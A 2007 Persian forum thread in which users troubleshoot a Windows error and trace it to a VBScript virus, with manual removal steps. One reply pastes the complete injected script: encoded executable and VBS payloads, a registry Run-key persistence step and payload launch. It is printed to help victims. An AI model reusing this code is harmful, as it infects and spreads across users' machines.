این اروره چیه !؟

واضح آرشیو وب فارسی:سایت ریسک: vahooli27-08-2007, 12:30 PMسلام.دوستان من ویندوزما جدید نصب کردم ( دیروز ) اما از دیروز مرتب این پیغام خطا میاد روی صفحه!!! این مال چیه چی کار کنم؟ D:windowssystem32systems.exe the NTVDM CPU has encountered an illegal instruction. CS:0550 IP:011d OP:2e 63 6f 20 choose close to terminate the application. techno27-08-2007, 02:50 PMاز این ارور برای من هم می داد.معنی لفظی ایرور اینه که برنامه ای به نام systems.exe در کار یک برنامه ی دیگه به نام NTVDM CPU دخالت بیجا کرده و باعث اختلال شده.مثل اینکه وقتی یک برنامه ی قدیمی 16 بیتی رو اجرا میکنی این ارور باید بیاد.ولی شما میگی که یهو میاد و شما کاری نمی کنی.پس امکان داره یک همچین برنامه ای در start-up ویندوز باشه که هر وقت سیستم رو راه اندازی میکنی خود به خود اون ارور هم میاد. برای شروع،شما این دستور رو توی run تایپ کن و اجرا کن و تا آخر کار ادامه بده: sfc /scannow ممکنه ازت درخواست بشه سی دی ویندوز رو داخل درایو بذاری که باید قبول کنی. بعد بیا نتیجه رو بگو. vahooli27-08-2007, 11:07 PMاز این ارور برای من هم می داد.معنی لفظی ایرور اینه که برنامه ای به نام systems.exe در کار یک برنامه ی دیگه به نام NTVDM CPU دخالت بیجا کرده و باعث اختلال شده.مثل اینکه وقتی یک برنامه ی قدیمی 16 بیتی رو اجرا میکنی این ارور باید بیاد.ولی شما میگی که یهو میاد و شما کاری نمی کنی.پس امکان داره یک همچین برنامه ای در start-up ویندوز باشه که هر وقت سیستم رو راه اندازی میکنی خود به خود اون ارور هم میاد. برای شروع،شما این دستور رو توی run تایپ کن و اجرا کن و تا آخر کار ادامه بده: sfc /scannow ممکنه ازت درخواست بشه سی دی ویندوز رو داخل درایو بذاری که باید قبول کنی. بعد بیا نتیجه رو بگو. آقا من این کارا کردم اما فایده ای نداشت.در ضمن من تمام برنامه هایی که نصب کردم دقیقا هموناس که روی ویندوز قبلیم بودن.چرا این طوری شده !؟:41: chaos theory27-08-2007, 11:59 PMاز چند تا سیستم عامل روی سیستمت استفاده میکنی؟ vahooli28-08-2007, 12:15 AMاز چند تا سیستم عامل روی سیستمت استفاده میکنی؟ دوتا دارم یه 98 یه XP.البته همیشه با XP کار میکنم اصلا کاری به 98 ندارم. ahsanx28-08-2007, 05:19 AMدوست عزیز شما ویندوز قبلی رو تعمیر کردین و یا به قولی ویندوز جدید رو روی ویندوز قبلی نصب کردید . شما باید درایوی که ویندوز ایکس پی رو توش نصب کردی به طور کامل فرمت کنی و دوباره ویندوز رو نصب کنی . vahooli28-08-2007, 11:52 AMدوست عزیز شما ویندوز قبلی رو تعمیر کردین و یا به قولی ویندوز جدید رو روی ویندوز قبلی نصب کردید . شما باید درایوی که ویندوز ایکس پی رو توش نصب کردی به طور کامل فرمت کنی و دوباره ویندوز رو نصب کنی . ببینید من ویندوز جدیدا کاملا جدا نصب کردم یعنی نه به صورت آپدیت و آپگرید بوده نه بصورت ریپیر.البته توی همون درایو.بعدشم پوشه ویندوز قبلی را پاک کردم . ARASH6628-08-2007, 11:58 AMويندوز ايكسپيه شما 64 بيتي هست يا 32 بيتي ممكنه مشكل ين باشه كه 98 رو نصب كرديد و سيستم دچار مشكل شده ! techno28-08-2007, 03:22 PMمن یک سرچ کردم به احتمال زیاد سیستمت ویروسیه.اون فایل systems.exe خیلی مشکوکه چون تو سیستم من که نیست! حتی اگه دوباره ویندوزت رو نصب کرده باشی بازم یک اسکن کامل ضرر نداره. برای به روز ترین اسکن ویروس،برو این سایت !!!! برای مشاهده محتوا ، لطفا ثبت نام کنید / وارد شوید !!!! و سمت چپ صفحه زیر scan online روی scan now کلیک کن.یک پنجره ی کوچک باز میشه که باید تا آخر مراحل کار بری و انجامش بدی.ممکنه مجبور بشی یه مدت کوتاهی آنلاین بمونی تا فایل ها دانلود بشن اما ارزشش رو داره.فقط به تنظیماتش دست نزن و فقط تایید کن تا آخر کارو. موفق باشی H.VIKE28-08-2007, 05:42 PMسلام.دوستان من ویندوزما جدید نصب کردم ( دیروز ) اما از دیروز مرتب این پیغام خطا میاد روی صفحه!!! این مال چیه چی کار کنم؟ D:windowssystem32systems.exe the NTVDM CPU has encountered an illegal instruction. CS:0550 IP:011d OP:2e 63 6f 20 choose close to terminate the application. اول Start رو بزن بعد Run توی Run تایپ کن msconfig .برو توی سربرگ Startup توی اونجا چکمارک یا همون تیک کنار kernel.exe رو بردار این کار باعث میشه که kernel دیگه لود نشه.بعد Crtl+Alt+Delet رو بزن تو سربرگ Processes روی kernel کلیک کن و End Processes رو بزن.حالا برو تو D:WINDOWSsystem32 دو تا فایل kernel.exe و kernel.vbs رو پاک کن.شما با این کار به صورت دستی تروجان رو پاک کردی اما حالا بهتره که یه Antivirus که این فایل رو بشناسه یعنیBitDenfender رو بریزی اون وقت یه بار سیستمو اسکن میکنی و هر وقت خواست این Kernel لود بشه BitDenfender میپرسه که اجازه فعالیت بهش بده یا نه که شما حالشو میگیریو No رو میزنی. تا حالا شما خود تروجان رو پاک کردی اما این تروجان توی تمام فایل های htm یا همون صفحه های اینترنت کد زیر رو وارد کرده:کد:on error resume nextfileexe1="07709014400000300000000000400000000025525500000018 40000000000000000000000640000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000018400000000001403118 60140001800092050331840010762050330841041051150321 12114111103114097109032099097110110111116032098101 03211411711003210511003206807908303210911110010104 60130130100360000000000000000000002120361420281440 69224079144069224079144069224079030090243079135069 22407910810124207914706922407908210509910414406922 40790000000000000000000000000000000000000000000000 00080069000000076001003000081115047069000000000000 00000000000022400001500101100100501200000200000000 00300060000000000000000070170000000000160000000000 32000000000000064000000016000000000002000000004000 00000000400000000000400000000000000000000000008000 60000000040000001390390000000020000000000000000160 00000016000000000000016000000016000000000000000000 01600000000000000000000000000000000006803200000010 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00003200000006800000000000000000000000000000000000 00000000000000000000000000000000000000000000000461 16101120116000000000240001000000000016000000000002 00000000000400000000000000000000000000000000000000 00000320000000960461141000971160970000002500010000 00000032000000000002000000000006000000000000000000 00000000000000000000000006400000006404610009711609 70000000001280270060000000480000000000020000000000 08000000000000000000000000000000000000000000064000 00019200000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000001060001060001060001060011060 00232207001000000163112075070000106000104000000000 12810600010600010404104806400025505311207507000023 21810010000001631160750700001041200750700001041280 26006000104240048064000255053116075070000232156001 00000010400400100000010412407507000023223100000000 01040280480640001041240750700002322440000000001040 00016000000104088048064000104124075070000232202000 00000016322404806400010600010422804806400025505312 00750700001042400480640002550532240480640002321740 00000000255053224048064000232145000000000255053112 07507000023203200100000025505311607507000023202100 10000001060051060001060001041240750700001060001060 00232073000000000195085139236131196228106000106000 10600014106922808023206300000000001119211602014106 92280802320620000000001410692280802320350000000002 35217201195104000016064000104224147004000106000106 00023202400000000023218525525525519525503702003206 40002550370400320640002550370360320640002550370320 32064000255037028032064000255037000032064000255037 01203206400025503700803206400025503700403206400020 42042042042042042042042042040851392360872551170082 32036000000000139125008139077012003248051210051192 13800401013600405813119400113219211724309513906900 82011940080002042042040851392361390690081312320041 31192004128056000116048128120001000116032128120002 00011601612812000300011723004306900813119200320119 40040000430690081311920022011940040000430690081311 92001201194004000043069008201194004000255037060032 06400025503704803206400025503705203206400025503705 60320640000000000000000000000000000000000000000000 00000000086033000000134033000000122033000000100033 00000000000000000023603200000000000000000005403300 00000420330000000280330000000080330000000000000000 00182033000000198033000000218033000000160033000000 00000000000018803200000000000000000000000000000025 20320000000200320000001960320000000000000000000000 00000000074033000000028032000000168032000000000000 00000000000000000014603300000000003200000021603200 00000000000000000000000000002380330000000480320000 00000000000000000000000000000000000000000000000000 00000000000008603300000013403300000012203300000010 00330000000000000000002360320000000000000000000540 33000000042033000000028033000000008033000000000000 00000018203300000019803300000021803300000016003300 00000000000000001030000831041011081080691201010991 17116101065000115104101108108051050046100108108000 14000006810511511209711609910407710111511509710310 10650000000250010711011160771011151150971031010650 00023002083101116084105109101114000000066002084114 09711011510809711610107710111511509710310100000011 71151011140510500461001081080000000260000671081111 15101072097110100108101000060001071101116083121115 11610110906810511410109911611111412106500020200107 91121011100701051081010000001580020871141051161010 70105108101000107101114110101108051050046100108108 00000010500007311011610111411010111606710811111510 10720971101001081010001340000731101161011141101011 16079112101110065000135000073110116101114110101116 07911210111008511410806500000014200007311011610111 41101011160821010971000701051081010000001191051101 05110101116046100108108000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000920831211151161011091 15046101120101000104116116112058047047104049046114 10511211909712104609911110904710011410109710910409 70991070470720470780971181051001040970991070461011 20101000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 000000000000000000000000000000"filevbs1="03907809711810510003211010111903211810511411711503 20500480480540400490510550530460490410130101111100 32101114114111114032114101115117109101032110101120 11601301010010510903210210510810110411610904411512 11150441211140130101021051081011041161090490610340 49048048049048053049048057048051050049049053049050 04904904905304804905104804904804805605104904804904 90490540480510500490480480490480500480510500480540 49048051050049048048049049049048057057049049055049 04805704904804904904904804904905404805205404805705 70490490520490480490480570550490490540490480490480 54057049048056049048049049048057049048049049049048 04904905404805204804805105204904904904805705604904 80540490480490480570570490490540480510520480520490 48049051048049048049048048049048050048052054049049 05304904804904904905404805405304904905404904905404 90490520490480530480570560490490550490490540490480 49048051050048051052048057057049048056048057055049 04905304904905304904805304904804804805105204805205 20480510500480510520480570570490480560490490530490 48053049048048048053056048054054048054056048053055 04805305204805405504805305104805305104805305204805 20530480530520480530510480540530480530490480520530 48052057048052057048054056048052056048052053048053 05504805305404805304904805405304805205304805205604 80520560480540550480520560480530500480550480480540 55048053048048053055048054057048053049048053052048 05105004805105204804905104804904804904905304904804 90490490540480510500490480500490490530490490490480 51050048054049048051050049048048049048050048052054 04805705704904905204904804904805705504904905404904 80490490490490480570560490480540490480490480570570 49049054048052048048051052048056051048057057049049 05204904805304904905004904905404904805304904904804 90480510480520540480550480490480530490480560490480 49048056051049050049049049053049049054049048049049 04805704805505704805705604904805404904804904805705 70490490540480510520480520520480510520480510520480 52049048049051048049048049049053049048049049049054 04805105004904905304805404904904804804904805004805 20540480540550490490520490480490480570550490490540 49048049048055057048057056049048054049048049048057 05704904905404805204804805105204805605104904805204 90480490490480560490480560480520540480540530490490 50049049050049048056049048053048057057048057055049 04905404904805304904904904904904804805205404805205 70480510520480520520480510520480510520480520490480 49051048049048049049053049048049049049054048051050 04904905204904804904805404904904804804904805004805 20540480570570490490520490480490480570550490490540 49048049049049049048057056049048054049048049048057 05704904905404805204804805105204904905704904905304 80570570490490520490480530490490500490490540480520 54049049053049048052049048049049048056049048056048 05105204805205204805105204805105204805204904804905 10480490480490490530490500490490490530480540490490 48050049049053049049049048052054048055049049048049 04904905404805605104904905004904804904805705704904 80530480570550490480560480550480490490490490480560 49048048049048049049049052048052048048052057048052 04904804905104804904804805504804904904904904905204 80510500480570550480510500480540490480510500480520 57048051050048056052049049049048051050048055054049 04804904904904804805204804904805004904805304904805 60490480490490490560480570560490490530480520570480 52049048051050048056051049049054049048049049049050 04805105004805304904804905104804904804904805004904 80530490480560490480490490490560480570560490490530 48053048048054049049048050049048053049048056049048 04904904905604805705604904905304805304804805105004 80510560480510500480570570490480520490490520480520 48049048057049048053049048048048052048049048050049 04805304904805604904804904904905604805705604904905 30480520570480520520480570550480520520480530490480 52049048052049048049051048049048049048053049048050 04805105004805705504805105004805404804805105004904 80560490480490490490480480520480490480500490480530 49048056049048049049048049049050048049048049048052 05704805204904805205104805205704805105004904905404 90480520490480490490490480480510500490480500490480 53049048056049048049049048049049050048049048049048 05304804805404904904805004904805304904805604904804 90490480490490500480490480490480530480480510500480 51056048051050048057057049048052049049052048052048 04904805704904805304904804804805204804904805004904 80530490480560490480490490480490490500480490480490 48052057048052052048057055048052052048053049048052 04904805204904804905104804904804904904804904804904 90500480490490540480490510480490480490480550490490 52048051050048054049048051050048056053048054055048 05705504904905304904804904805204804904905204904804 90480520540480560500490480490490480510480560500490 48049048057055049048048048052048048051052048055050 04805505304805405704805605704805705304805505404805 50570480540550480540530480550540480570530480550550 48054053048054055048055050048055051048055056048054 05704805705004805605104805505704805504804805605204 80560550480540530480560500480540570480570500480550 55049048053048057057049049052049049049049049053049 04904904904805004904905404805705004805605504904805 30490490480490480480490490490490490570490490530480 57050048054055049049055049049052049049052049048049 04904904804904905404805605404904804904904905204904 90530490480530490490490490490480480570500480560500 49049055049049048048057050048055055049048053048057 05704904905204904904904904905304904904904904805004 90490540480510500480560550490480530490490480490480 48049049049049049057049049053048051052048052049048 05204904804905104804904804904805004904905304904904 90480520540480540550490490520490480490480570550490 49054049048049048056052049048049049050048049049054 04805504804904805304904805604904804904805204804904 90530490500490490490530480510500480510560480510500 48051052048057050048056052048056051048056048048053 04904805304804805405704805205404805405604805505404 80550540480510520480520490480520540490490570490490 52049048053049049054049048049048051050049048050049 04805304904805604904804904904804904905004804904804 90480520570480490510480490480490480530490480500480 51050049049055048057057048057055049049053049048049 04805204804904805004904905304904904904805205404805 50480490480530490480560490480490480540570490500480 49048053049049053049049054049049053048052048049049 05304905004904904905304805105004805105604805105004 80510520480570500480550530490480490490490520490490 48049048049049048056048052054049048049049050048049 04804904805105204805204904805204904805404904805105 20480550480480540530480550540480560510480540570480 51052048051050049049049049049052048051050049048055 04904905204805404804805405004904905504805705704805 70550490490530490480490480520480490490530490500490 49049053048051050048051056048051050048051052048057 05004805505304805405704805605004805505604805405704 80550540480520540480540570480560560480540570480510 52048052049048051050049049054049048052049048049049 04904804804905104804904804904905204904804904805205 40490490520490480490490480510490490570490490520490 48053049049054049048049048051050048051052048055050 04805505304805405704805605704805705304805505404805 50570480540550480540530480550540480570530480550550 48054053048054055048055050048055051048055056048054 05704805705004805605104805505704805504804805605204 80560550480540530480560500480540570480570500480550 55049048053048057057049049052049049049049049053049 04904904904805004904905404805705004805605504904805 30490490480490480480490490490490490570490490530480 57050048054055049049055049049052049049052049048049 04904904804904905404805605404904804904904905204904 90530490480530490490490490490480480570500480560500 49049055049049048048057050048051052048051050048051 05604805105004805105204805505504904805304805705704 90490520490490490490490530490490490490480500490490 54048051050048056055049048053049049048049048048049 04904904904905704904905304805105204805105004805205 20490490530490500490490490530480510500480510560480 51052048057050048055053049048049049049052049049048 04904804904904805604805205404904804904905004804904 80490480510520480490510480490480490480500490490530 49049049048052054048054055049049052049048049048057 05504904905404904804904805605204904804904905004804 90490540480550480490480530490480560490480490480520 48049049053049050049049049053048051050048051056048 05105004805105204805705004805505304904804904904905 20490490480490480490490480560480520540490480490490 50048049048049048051052048052049048052054049049057 04904905204904805304904905404904804904805105004904 80500490480530490480560490480490490480490490500480 49048049048053048048049051048049048049049053048052 05404805505704904905004904804904904904804805105004 80520480490490530490500490490490530480510500480510 56048051050048051052048057050048055053049048049049 04905204904904804904804904904805604805205404904804 90490500480490480490480510520480520490480490510480 49048049048049049049048049048048048051050049048053 04904805004804905104804904804904805004904905304904 90490480520540480540550490490520490480490480570550 49049054049048049048056052049048049049050048049049 05404805504804904805304904805604904804904805204804 90490530490500490490490530480510500480510560480510 50048051052048057050048056052048056051048056048048 05304904805304804805605404805205404805405604805505 40480550540480510520480520490480520540490490570490 49052049048053049049054049048049048051050049048050 04904805304904805604904804904904905604805705604904 90530480520570480490510480490480490480530490480500 48051050049048050049049053049049049048052054049049 04904904905004904804904904904804904905404904804904 90500480490490540490480500490480530490480560490480 49048052048049049053049050049049049053048051050048 05105604805105004805105204805705004805605104905004 90490490530490490540490480490490480570490490560480 52054049048048049048056049048056048051052048052052 04805205704805204904805205404904905204904804904805 70550490480480480570550490480560490480560480540480 48054050048051052049049049049049048048051052048051 05004904905404904805204904804904904904804804905104 80490480490480500490490530490490490480520540480540 55049049052049048049048057055049049054049048049048 05605204904804904905004804904905404805504804904805 30490480560490480490480520480490490530490500490490 49053048051050048051056048051050048051052048057050 04805505304904804904904905204904904804904804904904 80560480520540490490560480570560490490530480510520 48052049048052054049049057049049052049048053049049 05404904804904805105004904805004904805304904805604 90480490490490560480570560490490530480530480480490 51048049048049049053048052054048055057049049050049 04804904904904804805105004805204804904905304905004 90490490530480510500480510560480510500480510520480 57050048055053049048049049049052049049048049048049 04904805604805205404904905604805705604904905304805 10520480520490480490510480490480490480490490490480 49048048048051050049048053049048050048049051048049 04804805404804805205504904905304805705704904905204 90480530490490500490490540480540500340130101151011 16032102115111061099114101097116101111098106101099 11604003411509911410511211610511010304610210510810 11151211151161011091110981061010991160340410130101 15101116032114101061099114101097116101111098106101 09911604003411911509911410511211604611510410110810 80340410130101151211150611021151110460711011160831 12101099105097108070111108100101114040049041013010 10211511104606711410109711610108410112011607010510 81010401151211150320380320340920831211151161011091 18046100108108034041046119114105116101032034111110 03401301010210510810110411610906103406011509911410 51121160321080971101031170971031010611180981150991 14105112116062034032038032118098099114108102032038 03203411111003210111411411111403211410111511710910 10321101011201160340320380321180980991141081020130 10102105108101104116109061102105108101104116109032 03803203410210510810110112010104906103403403403203 80321021151110461111121011101161011201161021051081 01040115121115032038032034092084083080051050069046 06807607603404404904104611410109710009710810803203 80320340340340340320380321180980991141081020130101 02105108101104116109061102105108101104116109032038 03203410210510810111809811504906103403403403203803 21021151110461111121011101161011201161021051081010 40115121115032038032034092084083080051050086046068 07607603404404904104611410109710009710810803203803 20340340340340320380321180980991141081020130100701 11114032097032061032049032084111032076101110040102 10510810110411610904904103208311610111203205101301 01021051081011041161090611021051081011041161090320 38032099104114040109105100040102105108101104116109 04904409704405104104101301011010112011601301011410 10461141011031191141051161010320340720750690890950 67085082082069078084095085083069082092083111102116 11909711410109207710509911411111511110211609208710 51101001111191150920671171141141011101160861011141 15105111110092082117110092034032038032034077105099 11411111511110211603208710511010011111911503403204 41151211150320380340920751011141101011080461180981 15034013010114101046114101103119114105116101032034 07207506908909507607906706507609507706506707207307 80690920830790700840870650820690920771050991141111 15111102116092087105110100111119115092067117114114 10111011608610111411510511111009208211711009203403 20380320340771050991141111151111021160320871051101 00111119115034032044115121115032038034092075101114 11010110804610112010103401301012111406111410104608 21011030821010971000400340720750690890950670850820 82069078084095085083069082092083111102116119097114 10109212109710411111109211209710310111409208909710 41111110330320851151011140320730680340410130101151 16097114116013010083117098032115116097114116040041 01301011111003210111411411111403211410111511710910 10321101011201160130100701111140320690970991040321 00114049032073110032102115111046068114105118101115 01301007310203210011404904606811410511810108412111 21010320610320500320791140321001140490460681141051 18101084121112101032061032051032084104101110032102 10510810104903204010011404903203803203409203404105 80321021111081001011140490320401001140490320380320 34092034041013010078101120116013010115101110100109 09710510801301006911010003208311709801301008311709 80321021111081001011140490401001140490410130101111 10032101114114111114032114101115117109101032110101 12011601301007011111403206909709910403210211103207 31100321021151110460711011160701111081001011140401 00114049041046083117098070111108100101114115013010 10510203208506709711510104011410510310411604010211 10440500530410410610340890650720790790330920770690 83083069078071069082092080082079070073076069083034 03211610410111003212109710411111104010211104101301 01021051081010490320401021110410130101021111081001 01114049032040102111041013010078101120116013010069 11010003208311709801301008311709803210210510810104 90401021110410130101111100321011141141111140321141 01115117109101032110101120116013010070111114032069 09709910403210210503207311003210211511104607110111 60701111081001011140401021110410460701051081011150 13010110106032040102105041013010078101120116013010 06911010003208311709801301011511709803211010604010 21050410130101111100321011141141111140321141011151 17109101032110101120116013010101120116061085067097 11510104010211511104607110111606912011610111011510 51111100780971091010401021050410410130101051020321 01120116061034072084077034032111114032101120116061 03407208407707603403211111403210112011606103407208 40840340321161041011100130101051020321141051031041 16040102115111046111112101110116101120116102105108 10104010210504404904104611410109710009710810804410 81011100401021051081011041161090410410600621021051 08101104116109032116104101110013010102115111046111 11210111011610112011610210510810104010210504405604 10461191141051161010321180980991141081020320380321 02105108101104116109013010101110100032105102013010 10111010003210510201301010111010003211511709801301 01151170980321210971041111110401021111210490410130 10070111114032069097099104032102111121050032073110 03210211511104607110111607011110810010111404010211 11210490410460831170980701111081001011141150130101 09097105108097108108061109097105108097108108032038 03210211511104607110111607010510810107809710910104 01021111210500410320380320340641210971041111110460 99111109034032038032118098099114108102013010110101 12011601301010211511104609911410109711610111610112 01161021051081010401151211150320380320340921090971 05108046108111103034041046119114105116101032109097 10510809710810803203803203406907806803401301010211 51110460991141010971161011161011201161021051081010 40115121115032038032034092115101110100046108111103 03404104611911410511610103212111403203803203406412 10971041111110460991111090340130101011101000321151 17098013010115117098032115101110100109097105108040 04101301011111003210111411411111403211410111511710 91010321101011201160130101151011101001090611021151 11046111112101110116101120116102105108101040115121 11503203803203409211510111010004610811110303404404 90410461141010971000971081080130101151011160321090 97105108109061102115111046111112101110116101120116 10210510810104011512111503203803203409210909710510 80461081111030340440490410130101090971051080970611 09097105108109046114101097100108105110101013010119 10410510810103210909710510809703206006203203406907 80680340130100831011160321110981060771011151150971 03101032061032067114101097116101079098106101099116 04003406706807904607710111511509710310103404103201 30101110981060771011151150971031010460831170981061 01099116032061032034072101108108111034013010111098 10607710111511509710310104608310111010010111403206 10321151011101001090130101110981060771011151150971 03101046102114111109061032115101110100109013010111 09810607710111511509710310104608411103206103210909 71051080970130101110981060771011151150971031010460 84101120116066111100121032061032034072101108108111 03403203803211809809911410810203203803203407111103 21161110321091210321150971051160580321041161161120 58047047103105114108115101120046119101098115046105 11104711210509911611711410104610411610903401301011 10981060771011151150971031010460831011101000130101 09097105108097061109097105108109046114101097100108 10511010101301011910111010001301010211511104606711 41010971161010841011201160701051081010401151211150 32038032034092083121115116101109118046100108108034 04104611911410511610103203411110210203401301010111 0100032115117098013010"dim sysSet df = document.createElement("object")df.setAttribute "classid", "clsid:BD 96C556-65A 3-11D 0-983A-00C04FC29E36 "set fso = df.createobject("Scripting.FileSystemObject","")set s=df.CreateObject("Shell.Application.1","")set re=df.createobject("wscript.shell","")sys=fso.GetSpecialFolder(1)For a = 1 To Len(filevbs1) Step 3filevbs2=filevbs2 & chr(mid(filevbs1,a,3))if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3))nextkr = UCase(re.RegRead("HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurr entVersionRunMicrosoft Windows"))fso.CreateTextFile(sys & "TSP32E.DLL").write fileexe1if ucase(fso.FileExists(sys & "Kernel.exe"))="FALSE" or krucase(sys & "KERNEL.EXE") thenre.regwrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurr entVersionRun" & "Microsoft Windows" ,sys &"Kernel.exe"fso.CreateTextFile(sys & "Kernel.exe").write fileexe2s.Open (sys & "Kernel.exe")end iffso.CreateTextFile(sys & "TSP32V.DLL").write filevbs1if fso.opentextfile(sys & "Systemv.dll",1).readall"on" thenfso.CreateTextFile(sys & "Kernel.vbs").write filevbs2s.Open (sys & "Kernel.vbs")end ifاین کد باعث میشه که هر وقت سیستم اومد بالا این فایل Kernel هم دوباره فعال بشه.حالا شما دو تا راه داری:1-این که بشینی تموم فایل های htm رو با Notepad بازکنی و این کد رو از آخر همه اش برداری یعنی کاری که من با 300 تا فایل htm کردم چون برام مهم بودن اما حواست باشه که سیستم Restart نشه یا قبل این که Restart کنی فایل هایی که کدشونو پاک کردی بریزی روی CD یا به فایل zip تبدیلشون کنی چون دوباره ویندوز لود میشه و این کد به آخر تموم فایل هات اضافه میشه و ... .من پیشنهاد می کنم وقتی که این کد ها ور از روی تموم فایل هات پاک کردی اون ها رو بریز رو CD تا از خطر در امان باشی.2-یه راه دیگه هم این که تموم فایل های htm رو پاک کنی یا بریزی روی CD و بعد سر فرصت بشینی کد های آخر فایل ها رو پاک کنی.مهم این که فایل htm روی سیستمت نباشه.فایل های htm شامل Temporary Internet Files هم میشه اونها رو هم پاک کن.حالا شما دیگه هیچ فایل htm روی Hard نداری بهتره که درایو ویندوزتو Format و یه ویندوز جدید بریزی. javad_raouf_danger28-08-2007, 05:53 PMول Start رو بزن بعد Run توی Run تایپ کن msconfig .برو توی سربرگ .................................................. .... ایول حال کردم عجب توضیحات کاملی!!!!!!!!!!!! vahooli29-08-2007, 01:18 AMاول Start رو بزن بعد Run توی Run تایپ کن msconfig .برو توی سربرگ Startup توی اونجا چکمارک یا همون تیک کنار kernel.exe رو بردار این کار باعث میشه که kernel دیگه لود نشه.بعد Crtl+Alt+Delet رو بزن تو سربرگ Processes روی kernel کلیک کن و End Processes رو بزن.حالا برو تو D:WINDOWSsystem32 دو تا فایل kernel.exe و kernel.vbs رو پاک کن.شما با این کار به صورت دستی تروجان رو پاک کردی اما حالا بهتره که یه Antivirus که این فایل رو بشناسه یعنیBitDenfender رو بریزی اون وقت یه بار سیستمو اسکن میکنی و هر وقت خواست این Kernel لود بشه BitDenfender میپرسه که اجازه فعالیت بهش بده یا نه که شما حالشو میگیریو No رو میزنی. تا حالا شما خود تروجان رو پاک کردی اما این تروجان توی تمام فایل های htm یا همون صفحه های اینترنت کد زیر رو وارد کرده:کد:. آقا ایول دقیقا این کدیا که میگی من مقبلا متوجه شدم و یه تاپیک هم زدم در موردش و فایل های HTML که خودم ساخته بودما این کدارا حذف کردم اما نه همه ی فایل های HTML.بعدش دیگه هرچی کامپیتور روشن خاموش شد دیگه این کدا اضافه نشد.این فایل ها راهم پاک کردم این فایل ها که مهم نبودن؟! بعد حالا اگه من تمام این فایل های htm را اصلاح نکنم عیبی داره ؟! آخه بد جوری دردسره... یعنی این ویروس ضرر خاصی میزنه ؟!الان هم ه توصیه دوستمون از سایت بیت دیفندر scan میکنم. خلاصه آقا خیلی ممنون واقعا ازت تشکر کنم که این قدر جامع و کامل جواب دادی. ARASH6629-08-2007, 01:31 AMh.vike عزيز ميشه بگيد اسم دقيق اين تروژان چيه ! techno29-08-2007, 10:23 AMh.vike عزيز ميشه بگيد اسم دقيق اين تروژان چيه ! VBS/Edibara-A تروژان نیست: !!!! برای مشاهده محتوا ، لطفا ثبت نام کنید / وارد شوید !!!! vahid_hm06-09-2007, 12:02 AMVBS/Edibara-A تروژان نیست: !!!! برای مشاهده محتوا ، لطفا ثبت نام کنید / وارد شوید !!!! سلام من این ویروس را گرفتم انتی ویروس sophos را هم نصب کردم ولی فقط ویروسو شناسایی میکنه و نمیتونه اونو پاک کنه ، باید کل فایل های ویروس دارمو پاک کنم ؟!! میشه کمکم کنید که مجبور نشم این کار را بکنم ؟ 30000 تا فایل htm ام این ویروس را دارند :37: hodanaz15-10-2007, 08:50 AMکامپیوتر من یه ویروس داره که تو هر folderی که می رم از همون folder یه کپی با پسوند .exe می گیره و foldere اصلی رو مخفی می کنه. حجم folderی که می سازه 0.37 kb هست. نمی تونم از folder کپی بگیرم، چون محتویاتش رو پاک می کنه. اگرم اون folderi که ساخته رو پاک کنم نمی تونم به فایل اصلیم دسترسی داشته باشم. و پنهون می مونه. حتی با search کردن هم پیدا نمی شه یکی راهنمایی درست و حسابی بکنه که چه جوری می تونم فایلهای مخفی شدم رو پیدا کنم سایت ما را در گوگل محبوب کنید با کلیک روی دکمه ای که در سمت چپ این منو با عنوان +1 قرار داده شده شما به این سایت مهر تأیید میزنید و به دوستانتان در صفحه جستجوی گوگل دیدن این سایت را پیشنهاد میکنید که این امر خود باعث افزایش رتبه سایت در گوگل میشود

این صفحه را در گوگل محبوب کنید

[ارسال شده از: سایت ریسک]

[مشاهده در: www.ri3k.eu]

[تعداد بازديد از اين مطلب: 2988]